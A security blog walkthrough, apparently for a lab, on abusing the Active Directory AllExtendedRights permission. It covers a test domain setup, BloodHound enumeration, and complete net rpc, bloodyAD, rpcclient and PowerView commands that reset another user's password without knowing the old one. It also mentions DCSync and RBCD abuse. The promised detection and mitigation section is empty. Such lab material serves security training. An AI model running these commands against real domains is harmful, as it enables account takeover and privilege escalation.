Abusing AD-DACL: AllExtendedRights
In this post, we will explore the exploitation of Discretionary Access Control Lists (DACL) using the AllExtendedRights permission in Active Directory environments. With this permission, attackers can escalate privileges, gain persistent access, and potentially take control of critical directory resources, making it a powerful foothold in compromising a domain.
The lab setup necessary to simulate these attacks is outlined, with methods mapped to the MITRE ATT&CK framework to clarify the associated techniques and tactics. Detection mechanisms for identifying suspicious activities linked to AllExtendedRights attacks are also covered, alongside actionable recommendations for mitigating these vulnerabilities. This overview equips security professionals with critical insights to recognize and defend against these prevalent threats.
Table of Contents
AllExtendedRights Permission
Prerequisites
Lab Setup – User Owns AllExtendedRights Permission
Exploitation – User Owns AllExtendedRights Permission
Bloodhound – Hunting for Weak Permission
Method for Exploitation – Change Password (T1110.001)
- Linux Net RPC – Samba
- Linux Net RPC – Rpcclient
- Linux Net RPC – BloodAD
- Windows PowerShell – Powerview
Detection & Mitigation
AllExtendedRights Permission
Extended rights are special rights granted on objects which allow reading of privileged attributes, as well as performing special actions.
This permission allows for resetting passwords on User objects and for crafting a Resource-Based Constrained Delegation (RBCD) attack for Computer objects
If a domain object with AllExtendedRights permissions on the domain object itself is compromised, that domain object will have both the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privilege. Both rights allow a principal to replicate objects from the Domain (DCSync).
Prerequisites
- Windows Server 2019 as Active Directory
- Kali Linux
- Tools: Bloodhound, Net RPC, Powerview, BloodyAD
- Windows 10/11 – As Client
Lab Setup – User Owns AllExtendedRights Permission
Here, in this lab setup, we will create two users’ Kavish and Geet, and will assign Geet user “AllExtendedRights” permission for Kavish User.
- Create the AD Environment:
To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.
- Domain Controller:
- Install Windows Server (2016 or 2019 recommended).
- Promote it to a Domain Controller by adding the Active Directory Domain Services role.
- Set up the domain (e.g., ignite.local).
- User Accounts:
- Create two AD user accounts named Kavish and Geet.
net user kavish Password@1 /add /domain net user geet Password@1 /add /domain
- Assign the “AllExtendedRights” Privilege to Geet for Kavish User:
Once your AD environment is set up, you need to assign the “AllExtendedRights” privilege to Geet for Kavish user.
- Steps:
- Open Active Directory Users and Computers (ADUC) on the Domain Controller.
- Enable the Advanced Features view by clicking on View > Advanced Features.
- Locate User Kavish in the Users container.
- Right-click on Kavish User and go to Properties.
5. Go to the Security tab, and click on Add button
6. In the “Enter the object name to select” box, type Geet and click Check Names and click on OK.
7. Select Geet user and click on advanced option.
8. In the Advanced security settings box, double-click on Geet user’s permission entry.
9. In the Permissions section, check the box for All Extended Rights permission.
10. Apply the settings.
At this point, Geet now has AllExtendedRights permission for Kavish user, meaning Geet can change the password of Kavish user’s account without knowing their current password
Exploitation
Bloodhound – Hunting for Weak Permission
Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Geet has the AllExtendedRights permission for Kavish user.
bloodhound-python -u geet -p Password@1 -ns 192.168.1.8 -d ignite.local -c All
From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.
Thus, it has shown that Geet User has AllExtendedRights privilege for Kavish user.
Method for Exploitation – Change Password (T1110.001)
The tester can abuse this permission by changing password for Kavish user without knowing their current password.
- Linux Net RPC – Samba
It can be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients.
net rpc password kavish 'Password@987' -U ignite.local/geet%'Password@1' -S 192.168.1.8
- Linux Bloody AD
Alternatively, it can be achieved using bloodyAD
bloodyAD --host "192.168.1.8" -d "ignite.local" -u "geet" -p "Password@1" set password "kavish" "Password@987"
- Linux Net RPC – Rpcclient
The rpcclient can also be used on UNIX-like systems when the package samba-common-bin is missing.
rpcclient -U ignite.local/geet 192.168.1.8 setuserinfo kavish 23 Ignite@987
- Windows PowerShell – Powerview
The attacker can change the password of the user using PowerView module. This can be achieved with Set-DomainUserPassword cmdlet.
powershell -ep bypass Import-Module .\PowerView.ps1 $NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force Set-DomainUserPassword -Identity 'kavish' -AccountPassword $NewPassword
Or the above can be achieved in verbose mode as well
Set-DomainUserPassword -Identity 'kavish' -Verbose
Detection & Mitigation
Author: Pradnya Pawar is an InfoSec researcher and Security Tech Lead. Contact here